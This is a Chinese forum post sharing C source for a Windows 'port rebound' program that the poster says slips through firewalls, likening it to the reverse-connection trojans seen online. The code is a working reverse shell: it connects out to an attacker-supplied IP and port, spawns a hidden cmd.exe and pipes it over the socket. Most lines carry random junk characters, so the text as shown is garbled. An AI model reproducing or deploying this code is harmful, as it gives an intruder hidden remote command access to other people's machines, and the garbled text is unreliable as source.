社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3464阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 M :V2a<!c  
~ |6dH  
/* ============================== :M06 ;:e  
Rebound port in Windows NT (ab{F5  
By wind,2006/7 !BDUv(  
===============================*/ 2K;#Evn'j  
#include 7c-Gm R2  
#include iZaeoy  
@}WNKS&m  
#pragma comment(lib,"wsock32.lib") blGf!4H  
*I0Tbc O  
void OutputShell(); ] /+D^6  
SOCKET sClient; %?bcT[|3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n";  ?>af'o:  
&-M]xo ^  
void main(int argc,char **argv) f|U0s  
{ p~K9 B-D  
WSADATA stWsaData; 6R`Oh uN.>  
int nRet; Y2C9(Zk U  
SOCKADDR_IN stSaiClient,stSaiServer; b.s9p7:J  
%JtbRs(~q  
if(argc != 3) mLwoi!]m  
{ {Hl[C]25X  
printf("Useage:\n\rRebound DestIP DestPort\n"); TI=h_%mO  
return; QYQtMb,  
} in<}fAro6  
yPV' pT)  
WSAStartup(MAKEWORD(2,2),&stWsaData); P-CB;\  
scW'AJJq  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _d@=nK)  
3J{vt"dS  
stSaiClient.sin_family = AF_INET; ZQ3_y $  
stSaiClient.sin_port = htons(0); Jic}+X*0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {^5?)/<  
G/vC~6x  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K^zDNIQU  
{ 6"U8V ?E  
printf("Bind Socket Failed!\n"); RW_q~bA9  
return; 1S0pd-i  
} *XbI#L%>  
w(j^ccPD  
stSaiServer.sin_family = AF_INET; ubYG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GMW,*if8p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); N L'R\R  
HRB[GP+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Rrg8{DZhv  
{ *f5l=lDOB  
printf("Connect Error!"); EVt? C+  
return; ?7[alV~  
} '9s5OTkN ;  
OutputShell(); 1tB[_$s  
} BByCM Y  
a{SBCy  
void OutputShell() Ue*C>F   
{ cu&,J#r%  
char szBuff[1024]; >O7~h[FN  
SECURITY_ATTRIBUTES stSecurityAttributes; kS :\Oz\  
OSVERSIONINFO stOsversionInfo; JN'cXZJPn  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G^wtE90  
STARTUPINFO stStartupInfo; w~Ff%p@9  
char *szShell; 5Y\!pf7SQ|  
PROCESS_INFORMATION stProcessInformation; V-!"%fO.s  
unsigned long lBytesRead; Kmz7c|  
4=Gph  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); uS+k^ #  
J:j<"uPm  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F7MzCZvu  
stSecurityAttributes.lpSecurityDescriptor = 0; PUdM[-zjh  
stSecurityAttributes.bInheritHandle = TRUE; M2@b1;  
-x`G2i  
M+`H g_#Q  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R}:KE&tq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !}KqB8;  
~u87H?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [zkikZy  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o.-C|IXG  
stStartupInfo.wShowWindow = SW_HIDE; |J0Q,F]T  
stStartupInfo.hStdInput = hReadPipe; ' GG=Ebt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G{9X)|d  
is?2DcSl5  
GetVersionEx(&stOsversionInfo); gRJfX %*F  
|o<8}Nja6  
switch(stOsversionInfo.dwPlatformId) tMp=-"  
{ %Sk@GNI_  
case 1: v4Ga0]VN$8  
szShell = "command.com"; RthT \%R  
break; awewYf$li  
default: /`npQg-  
szShell = "cmd.exe"; 8|Y.|\  
break; "YU{Fkl#j  
} |=a}iU8  
&o3K%M;C?  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); BxK^?b[E8  
lb*8G  
send(sClient,szMsg,77,0); ww k PF  
while(1) _-~`03 `!  
{ <?Wti_ /M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q2rUbU_A(  
if(lBytesRead) x]|+\1  
{ m~hoE8C$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zTbVp8\pI  
send(sClient,szBuff,lBytesRead,0); C0*@0~8$9  
} 6t'l(E +  
else f~{}zGTM:  
{ {yA$V0`N{  
lBytesRead=recv(sClient,szBuff,1024,0); TXXy\$  
if(lBytesRead<=0) break; Wu6<\^A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;Xvp6.:  
} _c$9eAe  
}  '1^B +m  
3jH\yXj  
return; k n[Y   
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八